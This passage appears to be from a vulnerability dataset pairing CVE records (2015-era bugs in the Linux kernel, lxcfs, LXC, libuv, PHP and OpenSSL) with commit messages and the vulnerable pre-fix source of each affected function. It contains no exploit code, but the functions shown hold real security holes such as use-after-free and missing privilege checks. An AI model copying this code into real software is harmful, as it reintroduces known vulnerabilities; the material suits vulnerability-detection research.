added; on association creation, all endpoint shared keys are being cached and thus cloned over to the association. struct sctp_shared_key only holds a pointer to the actual key bytes, that is, struct sctp_auth_bytes which keeps track of users internally through refcounting. Naturally, on assoc or enpoint destruction, sctp_shared_key are being destroyed directly and the reference on sctp_auth_bytes dropped. User space can add keys to either list via setsockopt(2) through struct sctp_authkey and by passing that to sctp_auth_set_key() which replaces or adds a new auth key. There, sctp_auth_create_key() creates a new sctp_auth_bytes with refcount 1 and in case of replacement drops the reference on the old sctp_auth_bytes. A key can be set active from user space through setsockopt() on the id via sctp_auth_set_active_key(), which iterates through either endpoint_shared_keys and in case of an assoc, invokes (one of various places) sctp_auth_asoc_init_active_key(). sctp_auth_asoc_init_active_key() computes the actual secret from local's and peer's random, hmac and shared key parameters and returns a new key directly as sctp_auth_bytes, that is asoc->asoc_shared_key, plus drops the reference if there was a previous one. The secret, which where we eventually double drop the ref comes from sctp_auth_asoc_set_secret() with intitial refcount of 1, which also stays unchanged eventually in sctp_assoc_update(). This key is later being used for crypto layer to set the key for the hash in crypto_hash_setkey() from sctp_auth_calculate_hmac(). To close the loop: asoc->asoc_shared_key is freshly allocated secret material and independant of the sctp_shared_key management keeping track of only shared keys in endpoints and assocs. Hence, also commit 4184b2a79a76 ("net: sctp: fix memory leak in auth key management") is independant of this bug here since it concerns a different layer (though same structures being used eventually). asoc->asoc_shared_key is reference dropped correctly on assoc destruction in sctp_association_free() and when active keys are being replaced in sctp_auth_asoc_init_active_key(), it always has a refcount of 1. Hence, it's freed prematurely in sctp_assoc_update(). Simple fix is to remove that sctp_auth_key_put() from there which fixes these panics. Fixes: 730fc3d05cd4 ("[SCTP]: Implete SCTP-AUTH parameter processing") Signed-off-by: Daniel Borkmann <dborkman@redhat.com> Acked-by: Vlad Yasevich <vyasevich@gmail.com> Acked-by: Neil Horman <nhorman@tuxdriver.com> Signed-off-by: David S. Miller <davem@davemloft.net>

void sctp_assoc_update(struct sctp_association *asoc, struct sctp_association *new) { struct sctp_transport *trans; struct list_head *pos, *temp; /* Copy in new parameters of peer. */ asoc->c = new->c; asoc->peer.rwnd = new->peer.rwnd; asoc->peer.sack_needed = new->peer.sack_needed; asoc->peer.auth_capable = new->peer.auth_capable; asoc->peer.i = new->peer.i; sctp_tsnmap_init(&asoc->peer.tsn_map, SCTP_TSN_MAP_INITIAL, asoc->peer.i.initial_tsn, GFP_ATOMIC); /* Remove any peer addresses not present in the new association. */ list_for_each_safe(pos, temp, &asoc->peer.transport_addr_list) { trans = list_entry(pos, struct sctp_transport, transports); if (!sctp_assoc_lookup_paddr(new, &trans->ipaddr)) { sctp_assoc_rm_peer(asoc, trans); continue; } if (asoc->state >= SCTP_STATE_ESTABLISHED) sctp_transport_reset(trans); } /* If the case is A (association restart), use * initial_tsn as next_tsn. If the case is B, use * current next_tsn in case data sent to peer * has been discarded and needs retransmission. */ if (asoc->state >= SCTP_STATE_ESTABLISHED) { asoc->next_tsn = new->next_tsn; asoc->ctsn_ack_point = new->ctsn_ack_point; asoc->adv_peer_ack_point = new->adv_peer_ack_point; /* Reinitialize SSN for both local streams * and peer's streams. */ sctp_ssnmap_clear(asoc->ssnmap); /* Flush the ULP reassembly and ordered queue. * Any data there will now be stale and will * cause problems. */ sctp_ulpq_flush(&asoc->ulpq); /* reset the overall association error count so * that the restarted association doesn't get torn * down on the next retransmission timer. */ asoc->overall_error_count = 0; } else { /* Add any peer addresses from the new association. */ list_for_each_entry(trans, &new->peer.transport_addr_list, transports) { if (!sctp_assoc_lookup_paddr(asoc, &trans->ipaddr)) sctp_assoc_add_peer(asoc, &trans->ipaddr, GFP_ATOMIC, trans->state); } asoc->ctsn_ack_point = asoc->next_tsn - 1; asoc->adv_peer_ack_point = asoc->ctsn_ack_point; if (!asoc->ssnmap) { /* Move the ssnmap. */ asoc->ssnmap = new->ssnmap; new->ssnmap = NULL; } if (!asoc->assoc_id) { /* get a new association id since we don't have one * yet. */ sctp_assoc_set_id(asoc, GFP_ATOMIC); } } /* SCTP-AUTH: Save the peer parameters from the new associations * and also move the association shared keys over */ kfree(asoc->peer.peer_random); asoc->peer.peer_random = new->peer.peer_random; new->peer.peer_random = NULL; kfree(asoc->peer.peer_chunks); asoc->peer.peer_chunks = new->peer.peer_chunks; new->peer.peer_chunks = NULL; kfree(asoc->peer.peer_hmacs); asoc->peer.peer_hmacs = new->peer.peer_hmacs; new->peer.peer_hmacs = NULL; sctp_auth_key_put(asoc->asoc_shared_key); sctp_auth_asoc_init_active_key(asoc, GFP_ATOMIC); }

associola.c

CVE-2015-1421

Use-after-free vulnerability in the sctp_assoc_update function in net/sctp/associola.c in the Linux kernel before 3.18.8 allows remote attackers to cause a denial of service (slab corruption and panic) or possibly have unspecified other impact by triggering an INIT collision that leads to improper handling of shared-key data.

https://nvd.nist.gov/vuln/detail/CVE-2015-1421

lxcfs

8ee2a503e102b1a43ec4d83113dc275ab20a869a

https://github.com/lxc/lxcfs

https://github.com/lxc/lxcfs/commit/8ee2a503e102b1a43ec4d83113dc275ab20a869a

Implement privilege check when moving tasks When writing pids to a tasks file in lxcfs, lxcfs was checking for privilege over the tasks file but not over the pid being moved. Since the cgm_movepid request is done as root on the host, not with the requestor's credentials, we must copy the check which cgmanager was doing to ensure that the requesting task is allowed to change the victim task's cgroup membership. This is CVE-2015-1344 https://bugs.launchpad.net/ubuntu/+source/lxcfs/+bug/1512854 Signed-off-by: Serge Hallyn <serge.hallyn@ubuntu.com>

static bool do_write_pids(pid_t tpid, const char *contrl, const char *cg, const char *file, const char *buf) { int sock[2] = {-1, -1}; pid_t qpid, cpid = -1; FILE *pids_file = NULL; bool answer = false, fail = false; pids_file = open_pids_file(contrl, cg); if (!pids_file) return false; /* * write the pids to a socket, have helper in writer's pidns * call movepid for us */ if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sock) < 0) { perror("socketpair"); goto out; } cpid = fork(); if (cpid == -1) goto out; if (!cpid) { // child fclose(pids_file); pid_from_ns_wrapper(sock[1], tpid); } const char *ptr = buf; while (sscanf(ptr, "%d", &qpid) == 1) { struct ucred cred; char v; if (write(sock[0], &qpid, sizeof(qpid)) != sizeof(qpid)) { fprintf(stderr, "%s: error writing pid to child: %s\n", __func__, strerror(errno)); goto out; } if (recv_creds(sock[0], &cred, &v)) { if (v == '0') { if (fprintf(pids_file, "%d", (int) cred.pid) < 0) fail = true; } } ptr = strchr(ptr, '\n'); if (!ptr) break; ptr++; } /* All good, write the value */ qpid = -1; if (write(sock[0], &qpid ,sizeof(qpid)) != sizeof(qpid)) fprintf(stderr, "Warning: failed to ask child to exit\n"); if (!fail) answer = true; out: if (cpid != -1) wait_for_pid(cpid); if (sock[0] != -1) { close(sock[0]); close(sock[1]); } if (pids_file) { if (fclose(pids_file) != 0) answer = false; } return answer; }

None

CVE-2015-1344

The do_write_pids function in lxcfs.c in LXCFS before 0.12 does not properly check permissions, which allows local users to gain privileges by writing a pid to the tasks file.

https://nvd.nist.gov/vuln/detail/CVE-2015-1344

lxc

72cf81f6a3404e35028567db2c99a90406e9c6e6

https://github.com/lxc/lxc

https://github.com/lxc/lxc/commit/72cf81f6a3404e35028567db2c99a90406e9c6e6

CVE-2015-1331: lxclock: use /run/lxc/lock rather than /run/lock/lxc This prevents an unprivileged user to use LXC to create arbitrary file on the filesystem. Signed-off-by: Serge Hallyn <serge.hallyn@ubuntu.com> Signed-off-by: Tyler Hicks <tyhicks@canonical.com> Acked-by: Stéphane Graber <stgraber@ubuntu.com>

static char *lxclock_name(const char *p, const char *n) { int ret; int len; char *dest; char *rundir; /* lockfile will be: * "/run" + "/lock/lxc/$lxcpath/$lxcname + '\0' if root * or * $XDG_RUNTIME_DIR + "/lock/lxc/$lxcpath/$lxcname + '\0' if non-root */ /* length of "/lock/lxc/" + $lxcpath + "/" + "." + $lxcname + '\0' */ len = strlen("/lock/lxc/") + strlen(n) + strlen(p) + 3; rundir = get_rundir(); if (!rundir) return NULL; len += strlen(rundir); if ((dest = malloc(len)) == NULL) { free(rundir); return NULL; } ret = snprintf(dest, len, "%s/lock/lxc/%s", rundir, p); if (ret < 0 || ret >= len) { free(dest); free(rundir); return NULL; } ret = mkdir_p(dest, 0755); if (ret < 0) { /* fall back to "/tmp/" + $(id -u) + "/lxc" + $lxcpath + "/" + "." + $lxcname + '\0' * * maximum length of $(id -u) is 10 calculated by (log (2 ** (sizeof(uid_t) * 8) - 1) / log 10 + 1) * * lxcpath always starts with '/' */ int l2 = 22 + strlen(n) + strlen(p); if (l2 > len) { char *d; d = realloc(dest, l2); if (!d) { free(dest); free(rundir); return NULL; } len = l2; dest = d; } ret = snprintf(dest, len, "/tmp/%d/lxc%s", geteuid(), p); if (ret < 0 || ret >= len) { free(dest); free(rundir); return NULL; } ret = mkdir_p(dest, 0755); if (ret < 0) { free(dest); free(rundir); return NULL; } ret = snprintf(dest, len, "/tmp/%d/lxc%s/.%s", geteuid(), p, n); } else ret = snprintf(dest, len, "%s/lock/lxc/%s/.%s", rundir, p, n); free(rundir); if (ret < 0 || ret >= len) { free(dest); return NULL; } return dest; }

lxclock.c

CVE-2015-1331

lxclock.c in LXC 1.1.2 and earlier allows local users to create arbitrary files via a symlink attack on /run/lock/lxc/*.

https://nvd.nist.gov/vuln/detail/CVE-2015-1331

libuv

66ab38918c911bcff025562cf06237d7fedaba0c

https://github.com/libuv/libuv

https://github.com/libuv/libuv/commit/66ab38918c911bcff025562cf06237d7fedaba0c

unix: call setgoups before calling setuid/setgid Partial fix for #1093

static void uv__process_child_init(const uv_process_options_t* options, int stdio_count, int (*pipes)[2], int error_fd) { int close_fd; int use_fd; int fd; if (options->flags & UV_PROCESS_DETACHED) setsid(); for (fd = 0; fd < stdio_count; fd++) { close_fd = pipes[fd][0]; use_fd = pipes[fd][1]; if (use_fd < 0) { if (fd >= 3) continue; else { /* redirect stdin, stdout and stderr to /dev/null even if UV_IGNORE is * set */ use_fd = open("/dev/null", fd == 0 ? O_RDONLY : O_RDWR); close_fd = use_fd; if (use_fd == -1) { uv__write_int(error_fd, -errno); perror("failed to open stdio"); _exit(127); } } } if (fd == use_fd) uv__cloexec(use_fd, 0); else dup2(use_fd, fd); if (fd <= 2) uv__nonblock(fd, 0); if (close_fd != -1) uv__close(close_fd); } for (fd = 0; fd < stdio_count; fd++) { use_fd = pipes[fd][1]; if (use_fd >= 0 && fd != use_fd) close(use_fd); } if (options->cwd != NULL && chdir(options->cwd)) { uv__write_int(error_fd, -errno); perror("chdir()"); _exit(127); } if ((options->flags & UV_PROCESS_SETGID) && setgid(options->gid)) { uv__write_int(error_fd, -errno); perror("setgid()"); _exit(127); } if ((options->flags & UV_PROCESS_SETUID) && setuid(options->uid)) { uv__write_int(error_fd, -errno); perror("setuid()"); _exit(127); } if (options->env != NULL) { environ = options->env; } execvp(options->file, options->args); uv__write_int(error_fd, -errno); perror("execvp()"); _exit(127); }

process.c

CVE-2015-0278

libuv before 0.10.34 does not properly drop group privileges, which allows context-dependent attackers to gain privileges via unspecified vectors.

https://nvd.nist.gov/vuln/detail/CVE-2015-0278

linux

f3747379accba8e95d70cec0eae0582c8c182050

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/f3747379accba8e95d70cec0eae0582c8c182050

KVM: x86: SYSENTER emulation is broken SYSENTER emulation is broken in several ways: 1. It misses the case of 16-bit code segments completely (CVE-2015-0239). 2. MSR_IA32_SYSENTER_CS is checked in 64-bit mode incorrectly (bits 0 and 1 can still be set without causing #GP). 3. MSR_IA32_SYSENTER_EIP and MSR_IA32_SYSENTER_ESP are not masked in legacy-mode. 4. There is some unneeded code. Fix it. Cc: stable@vger.linux.org Signed-off-by: Nadav Amit <namit@cs.technion.ac.il> Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>

static int em_sysenter(struct x86_emulate_ctxt *ctxt) { const struct x86_emulate_ops *ops = ctxt->ops; struct desc_struct cs, ss; u64 msr_data; u16 cs_sel, ss_sel; u64 efer = 0; ops->get_msr(ctxt, MSR_EFER, &efer); /* inject #GP if in real mode */ if (ctxt->mode == X86EMUL_MODE_REAL) return emulate_gp(ctxt, 0); /* * Not recognized on AMD in compat mode (but is recognized in legacy * mode). */ if ((ctxt->mode == X86EMUL_MODE_PROT32) && (efer & EFER_LMA) && !vendor_intel(ctxt)) return emulate_ud(ctxt); /* sysenter/sysexit have not been tested in 64bit mode. */ if (ctxt->mode == X86EMUL_MODE_PROT64) return X86EMUL_UNHANDLEABLE; setup_syscalls_segments(ctxt, &cs, &ss); ops->get_msr(ctxt, MSR_IA32_SYSENTER_CS, &msr_data); switch (ctxt->mode) { case X86EMUL_MODE_PROT32: if ((msr_data & 0xfffc) == 0x0) return emulate_gp(ctxt, 0); break; case X86EMUL_MODE_PROT64: if (msr_data == 0x0) return emulate_gp(ctxt, 0); break; default: break; } ctxt->eflags &= ~(EFLG_VM | EFLG_IF); cs_sel = (u16)msr_data; cs_sel &= ~SELECTOR_RPL_MASK; ss_sel = cs_sel + 8; ss_sel &= ~SELECTOR_RPL_MASK; if (ctxt->mode == X86EMUL_MODE_PROT64 || (efer & EFER_LMA)) { cs.d = 0; cs.l = 1; } ops->set_segment(ctxt, cs_sel, &cs, 0, VCPU_SREG_CS); ops->set_segment(ctxt, ss_sel, &ss, 0, VCPU_SREG_SS); ops->get_msr(ctxt, MSR_IA32_SYSENTER_EIP, &msr_data); ctxt->_eip = msr_data; ops->get_msr(ctxt, MSR_IA32_SYSENTER_ESP, &msr_data); *reg_write(ctxt, VCPU_REGS_RSP) = msr_data; return X86EMUL_CONTINUE; }

emulate.c

CVE-2015-0239

The em_sysenter function in arch/x86/kvm/emulate.c in the Linux kernel before 3.18.5, when the guest OS lacks SYSENTER MSR initialization, allows guest OS users to gain guest OS privileges or cause a denial of service (guest OS crash) by triggering use of a 16-bit code segment for emulation of a SYSENTER instruction.

https://nvd.nist.gov/vuln/detail/CVE-2015-0239

php-src

b585a3aed7880a5fa5c18e2b838fc96f40e075bd

https://github.com/php/php-src

https://github.com/php/php-src/commit/b585a3aed7880a5fa5c18e2b838fc96f40e075bd

Fix for bug #68710 (Use After Free Vulnerability in PHP's unserialize())

static inline int process_nested_data(UNSERIALIZE_PARAMETER, HashTable *ht, long elements, int objprops) { while (elements-- > 0) { zval *key, *data, **old_data; ALLOC_INIT_ZVAL(key); if (!php_var_unserialize(&key, p, max, NULL TSRMLS_CC)) { zval_dtor(key); FREE_ZVAL(key); return 0; } if (Z_TYPE_P(key) != IS_LONG && Z_TYPE_P(key) != IS_STRING) { zval_dtor(key); FREE_ZVAL(key); return 0; } ALLOC_INIT_ZVAL(data); if (!php_var_unserialize(&data, p, max, var_hash TSRMLS_CC)) { zval_dtor(key); FREE_ZVAL(key); zval_dtor(data); FREE_ZVAL(data); return 0; } if (!objprops) { switch (Z_TYPE_P(key)) { case IS_LONG: if (zend_hash_index_find(ht, Z_LVAL_P(key), (void **)&old_data)==SUCCESS) { var_push_dtor(var_hash, old_data); } zend_hash_index_update(ht, Z_LVAL_P(key), &data, sizeof(data), NULL); break; case IS_STRING: if (zend_symtable_find(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, (void **)&old_data)==SUCCESS) { var_push_dtor(var_hash, old_data); } zend_symtable_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &data, sizeof(data), NULL); break; } } else { /* object properties should include no integers */ convert_to_string(key); if (zend_symtable_find(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, (void **)&old_data)==SUCCESS) { var_push_dtor(var_hash, old_data); } zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1, &data, sizeof data, NULL); } zval_dtor(key); FREE_ZVAL(key); if (elements && *(*p-1) != ';' && *(*p-1) != '}') { (*p)--; return 0; } }

None

CVE-2015-0231

Use-after-free vulnerability in the process_nested_data function in ext/standard/var_unserializer.re in PHP before 5.4.37, 5.5.x before 5.5.21, and 5.6.x before 5.6.5 allows remote attackers to execute arbitrary code via a crafted unserialize call that leverages improper handling of duplicate numerical keys within the serialized properties of an object. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-8142.

https://nvd.nist.gov/vuln/detail/CVE-2015-0231

openssl

103b171d8fc282ef435f8de9afbf7782e312961f

https://github.com/openssl/openssl

https://github.com/openssl/openssl/commit/103b171d8fc282ef435f8de9afbf7782e312961f

A memory leak can occur in dtls1_buffer_record if either of the calls to ssl3_setup_buffers or pqueue_insert fail. The former will fail if there is a malloc failure, whilst the latter will fail if attempting to add a duplicate record to the queue. This should never happen because duplicate records should be detected and dropped before any attempt to add them to the queue. Unfortunately records that arrive that are for the next epoch are not being recorded correctly, and therefore replays are not being detected. Additionally, these "should not happen" failures that can occur in dtls1_buffer_record are not being treated as fatal and therefore an attacker could exploit this by sending repeated replay records for the next epoch, eventually causing a DoS through memory exhaustion. Thanks to Chris Mueller for reporting this issue and providing initial analysis and a patch. Further analysis and the final patch was performed by Matt Caswell from the OpenSSL development team. CVE-2015-0206 Reviewed-by: Dr Stephen Henson <steve@openssl.org>

dtls1_buffer_record(SSL *s, record_pqueue *queue, unsigned char *priority) { DTLS1_RECORD_DATA *rdata; pitem *item; /* Limit the size of the queue to prevent DOS attacks */ if (pqueue_size(queue->q) >= 100) return 0; rdata = OPENSSL_malloc(sizeof(DTLS1_RECORD_DATA)); item = pitem_new(priority, rdata); if (rdata == NULL || item == NULL) { if (rdata != NULL) OPENSSL_free(rdata); if (item != NULL) pitem_free(item); SSLerr(SSL_F_DTLS1_BUFFER_RECORD, ERR_R_INTERNAL_ERROR); return(0); } rdata->packet = s->packet; rdata->packet_length = s->packet_length; memcpy(&(rdata->rbuf), &(s->s3->rbuf), sizeof(SSL3_BUFFER)); memcpy(&(rdata->rrec), &(s->s3->rrec), sizeof(SSL3_RECORD)); item->data = rdata; #ifndef OPENSSL_NO_SCTP /* Store bio_dgram_sctp_rcvinfo struct */ if (BIO_dgram_is_sctp(SSL_get_rbio(s)) && (s->state == SSL3_ST_SR_FINISHED_A || s->state == SSL3_ST_CR_FINISHED_A)) { BIO_ctrl(SSL_get_rbio(s), BIO_CTRL_DGRAM_SCTP_GET_RCVINFO, sizeof(rdata->recordinfo), &rdata->recordinfo); } #endif s->packet = NULL; s->packet_length = 0; memset(&(s->s3->rbuf), 0, sizeof(SSL3_BUFFER)); memset(&(s->s3->rrec), 0, sizeof(SSL3_RECORD)); if (!ssl3_setup_buffers(s)) { SSLerr(SSL_F_DTLS1_BUFFER_RECORD, ERR_R_INTERNAL_ERROR); OPENSSL_free(rdata); pitem_free(item); return(0); } /* insert should not fail, since duplicates are dropped */ if (pqueue_insert(queue->q, item) == NULL) { SSLerr(SSL_F_DTLS1_BUFFER_RECORD, ERR_R_INTERNAL_ERROR); OPENSSL_free(rdata); pitem_free(item); return(0); } return(1); }

None

CVE-2015-0206

Memory leak in the dtls1_buffer_record function in d1_pkt.c in OpenSSL 1.0.0 before 1.0.0p and 1.0.1 before 1.0.1k allows remote attackers to cause a denial of service (memory consumption) by sending many duplicate records for the next epoch, leading to failure of replay detection.

https://nvd.nist.gov/vuln/detail/CVE-2015-0206

openssl

1421e0c584ae9120ca1b88098f13d6d2e90b83a3

https://github.com/openssl/openssl

https://github.com/openssl/openssl/commit/1421e0c584ae9120ca1b88098f13d6d2e90b83a3

Unauthenticated DH client certificate fix. Fix to prevent use of DH client certificates without sending certificate verify message. If we've used a client certificate to generate the premaster secret ssl3_get_client_key_exchange returns 2 and ssl3_get_cert_verify is never called. We can only skip the certificate verify message in ssl3_get_cert_verify if the client didn't send a certificate. Thanks to Karthikeyan Bhargavan for reporting this issue. CVE-2015-0205 Reviewed-by: Matt Caswell <matt@openssl.org>

int ssl3_get_cert_verify(SSL *s) { EVP_PKEY *pkey=NULL; unsigned char *p; int al,ok,ret=0; long n; int type=0,i,j; X509 *peer; const EVP_MD *md = NULL; EVP_MD_CTX mctx; EVP_MD_CTX_init(&mctx); n=s->method->ssl_get_message(s, SSL3_ST_SR_CERT_VRFY_A, SSL3_ST_SR_CERT_VRFY_B, -1, SSL3_RT_MAX_PLAIN_LENGTH, &ok); if (!ok) return((int)n); if (s->session->peer != NULL) { peer=s->session->peer; pkey=X509_get_pubkey(peer); type=X509_certificate_type(peer,pkey); } else { peer=NULL; pkey=NULL; } if (s->s3->tmp.message_type != SSL3_MT_CERTIFICATE_VERIFY) { s->s3->tmp.reuse_message=1; if ((peer != NULL) && (type & EVP_PKT_SIGN)) { al=SSL_AD_UNEXPECTED_MESSAGE; SSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_MISSING_VERIFY_MESSAGE); goto f_err; } ret=1; goto end; } if (peer == NULL) { SSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_NO_CLIENT_CERT_RECEIVED); al=SSL_AD_UNEXPECTED_MESSAGE; goto f_err; } if (!(type & EVP_PKT_SIGN)) { SSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_SIGNATURE_FOR_NON_SIGNING_CERTIFICATE); al=SSL_AD_ILLEGAL_PARAMETER; goto f_err; } if (s->s3->change_cipher_spec) { SSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_CCS_RECEIVED_EARLY); al=SSL_AD_UNEXPECTED_MESSAGE; goto f_err; } /* we now have a signature that we need to verify */ p=(unsigned char *)s->init_msg; /* Check for broken implementations of GOST ciphersuites */ /* If key is GOST and n is exactly 64, it is bare * signature without length field */ if (n==64 && (pkey->type==NID_id_GostR3410_94 || pkey->type == NID_id_GostR3410_2001) ) { i=64; } else { if (SSL_USE_SIGALGS(s)) { int rv = tls12_check_peer_sigalg(&md, s, p, pkey); if (rv == -1) { al = SSL_AD_INTERNAL_ERROR; goto f_err; } else if (rv == 0) { al = SSL_AD_DECODE_ERROR; goto f_err; } #ifdef SSL_DEBUG fprintf(stderr, "USING TLSv1.2 HASH %s\n", EVP_MD_name(md)); #endif p += 2; n -= 2; } n2s(p,i); n-=2; if (i > n) { SSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_LENGTH_MISMATCH); al=SSL_AD_DECODE_ERROR; goto f_err; } } j=EVP_PKEY_size(pkey); if ((i > j) || (n > j) || (n <= 0)) { SSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_WRONG_SIGNATURE_SIZE); al=SSL_AD_DECODE_ERROR; goto f_err; } if (SSL_USE_SIGALGS(s)) { long hdatalen = 0; void *hdata; hdatalen = BIO_get_mem_data(s->s3->handshake_buffer, &hdata); if (hdatalen <= 0) { SSLerr(SSL_F_SSL3_GET_CERT_VERIFY, ERR_R_INTERNAL_ERROR); al=SSL_AD_INTERNAL_ERROR; goto f_err; } #ifdef SSL_DEBUG fprintf(stderr, "Using TLS 1.2 with client verify alg %s\n", EVP_MD_name(md)); #endif if (!EVP_VerifyInit_ex(&mctx, md, NULL) || !EVP_VerifyUpdate(&mctx, hdata, hdatalen)) { SSLerr(SSL_F_SSL3_GET_CERT_VERIFY, ERR_R_EVP_LIB); al=SSL_AD_INTERNAL_ERROR; goto f_err; } if (EVP_VerifyFinal(&mctx, p , i, pkey) <= 0) { al=SSL_AD_DECRYPT_ERROR; SSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_BAD_SIGNATURE); goto f_err; } } else #ifndef OPENSSL_NO_RSA if (pkey->type == EVP_PKEY_RSA) { i=RSA_verify(NID_md5_sha1, s->s3->tmp.cert_verify_md, MD5_DIGEST_LENGTH+SHA_DIGEST_LENGTH, p, i, pkey->pkey.rsa); if (i < 0) { al=SSL_AD_DECRYPT_ERROR; SSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_BAD_RSA_DECRYPT); goto f_err; } if (i == 0) { al=SSL_AD_DECRYPT_ERROR; SSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_BAD_RSA_SIGNATURE); goto f_err; } } else #endif #ifndef OPENSSL_NO_DSA if (pkey->type == EVP_PKEY_DSA) { j=DSA_verify(pkey->save_type, &(s->s3->tmp.cert_verify_md[MD5_DIGEST_LENGTH]), SHA_DIGEST_LENGTH,p,i,pkey->pkey.dsa); if (j <= 0) { /* bad signature */ al=SSL_AD_DECRYPT_ERROR; SSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_BAD_DSA_SIGNATURE); goto f_err; } } else #endif #ifndef OPENSSL_NO_ECDSA if (pkey->type == EVP_PKEY_EC) { j=ECDSA_verify(pkey->save_type, &(s->s3->tmp.cert_verify_md[MD5_DIGEST_LENGTH]), SHA_DIGEST_LENGTH,p,i,pkey->pkey.ec); if (j <= 0) { /* bad signature */ al=SSL_AD_DECRYPT_ERROR; SSLerr(SSL_F_SSL3_GET_CERT_VERIFY, SSL_R_BAD_ECDSA_SIGNATURE); goto f_err; } } else #endif if (pkey->type == NID_id_GostR3410_94 || pkey->type == NID_id_GostR3410_2001) { unsigned char signature[64]; int idx; EVP_PKEY_CTX *pctx = EVP_PKEY_CTX_new(pkey,NULL); EVP_PKEY_verify_init(pctx); if (i!=64) { fprintf(stderr,"GOST signature length is %d",i); } for (idx=0;idx<64;idx++) { signature[63-idx]=p[idx]; } j=EVP_PKEY_verify(pctx,signature,64,s->s3->tmp.cert_verify_md,32); EVP_PKEY_CTX_free(pctx); if (j<=0) { al=SSL_AD_DECRYPT_ERROR; SSLerr(SSL_F_SSL3_GET_CERT_VERIFY, SSL_R_BAD_ECDSA_SIGNATURE); goto f_err; } } else { SSLerr(SSL_F_SSL3_GET_CERT_VERIFY,ERR_R_INTERNAL_ERROR); al=SSL_AD_UNSUPPORTED_CERTIFICATE; goto f_err; } ret=1; if (0) { f_err: ssl3_send_alert(s,SSL3_AL_FATAL,al); } end: if (s->s3->handshake_buffer) { BIO_free(s->s3->handshake_buffer); s->s3->handshake_buffer = NULL; s->s3->flags &= ~TLS1_FLAGS_KEEP_HANDSHAKE; } EVP_MD_CTX_cleanup(&mctx); EVP_PKEY_free(pkey); return(ret); }

None

CVE-2015-0205

The ssl3_get_cert_verify function in s3_srvr.c in OpenSSL 1.0.0 before 1.0.0p and 1.0.1 before 1.0.1k accepts client authentication with a Diffie-Hellman (DH) certificate without requiring a CertificateVerify message, which allows remote attackers to obtain access without knowledge of a private key via crafted TLS Handshake Protocol traffic to a server that recognizes a Certification Authority with DH support.

https://nvd.nist.gov/vuln/detail/CVE-2015-0205

openssl

ce325c60c74b0fa784f5872404b722e120e5cab0

https://github.com/openssl/openssl

https://github.com/openssl/openssl/commit/ce325c60c74b0fa784f5872404b722e120e5cab0

Only allow ephemeral RSA keys in export ciphersuites. OpenSSL clients would tolerate temporary RSA keys in non-export ciphersuites. It also had an option SSL_OP_EPHEMERAL_RSA which enabled this server side. Remove both options as they are a protocol violation. Thanks to Karthikeyan Bhargavan for reporting this issue. (CVE-2015-0204) Reviewed-by: Matt Caswell <matt@openssl.org>

int ssl3_get_key_exchange(SSL *s) { #ifndef OPENSSL_NO_RSA unsigned char *q,md_buf[EVP_MAX_MD_SIZE*2]; #endif EVP_MD_CTX md_ctx; unsigned char *param,*p; int al,j,ok; long i,param_len,n,alg_k,alg_a; EVP_PKEY *pkey=NULL; const EVP_MD *md = NULL; #ifndef OPENSSL_NO_RSA RSA *rsa=NULL; #endif #ifndef OPENSSL_NO_DH DH *dh=NULL; #endif #ifndef OPENSSL_NO_ECDH EC_KEY *ecdh = NULL; BN_CTX *bn_ctx = NULL; EC_POINT *srvr_ecpoint = NULL; int curve_nid = 0; int encoded_pt_len = 0; #endif EVP_MD_CTX_init(&md_ctx); /* use same message size as in ssl3_get_certificate_request() * as ServerKeyExchange message may be skipped */ n=s->method->ssl_get_message(s, SSL3_ST_CR_KEY_EXCH_A, SSL3_ST_CR_KEY_EXCH_B, -1, s->max_cert_list, &ok); if (!ok) return((int)n); alg_k=s->s3->tmp.new_cipher->algorithm_mkey; if (s->s3->tmp.message_type != SSL3_MT_SERVER_KEY_EXCHANGE) { /* * Can't skip server key exchange if this is an ephemeral * ciphersuite. */ if (alg_k & (SSL_kDHE|SSL_kECDHE)) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_UNEXPECTED_MESSAGE); al = SSL_AD_UNEXPECTED_MESSAGE; goto f_err; } #ifndef OPENSSL_NO_PSK /* In plain PSK ciphersuite, ServerKeyExchange can be omitted if no identity hint is sent. Set session->sess_cert anyway to avoid problems later.*/ if (alg_k & SSL_kPSK) { s->session->sess_cert=ssl_sess_cert_new(); if (s->ctx->psk_identity_hint) OPENSSL_free(s->ctx->psk_identity_hint); s->ctx->psk_identity_hint = NULL; } #endif s->s3->tmp.reuse_message=1; return(1); } param=p=(unsigned char *)s->init_msg; if (s->session->sess_cert != NULL) { #ifndef OPENSSL_NO_RSA if (s->session->sess_cert->peer_rsa_tmp != NULL) { RSA_free(s->session->sess_cert->peer_rsa_tmp); s->session->sess_cert->peer_rsa_tmp=NULL; } #endif #ifndef OPENSSL_NO_DH if (s->session->sess_cert->peer_dh_tmp) { DH_free(s->session->sess_cert->peer_dh_tmp); s->session->sess_cert->peer_dh_tmp=NULL; } #endif #ifndef OPENSSL_NO_ECDH if (s->session->sess_cert->peer_ecdh_tmp) { EC_KEY_free(s->session->sess_cert->peer_ecdh_tmp); s->session->sess_cert->peer_ecdh_tmp=NULL; } #endif } else { s->session->sess_cert=ssl_sess_cert_new(); } /* Total length of the parameters including the length prefix */ param_len=0; alg_a=s->s3->tmp.new_cipher->algorithm_auth; al=SSL_AD_DECODE_ERROR; #ifndef OPENSSL_NO_PSK if (alg_k & SSL_kPSK) { char tmp_id_hint[PSK_MAX_IDENTITY_LEN+1]; param_len = 2; if (param_len > n) { 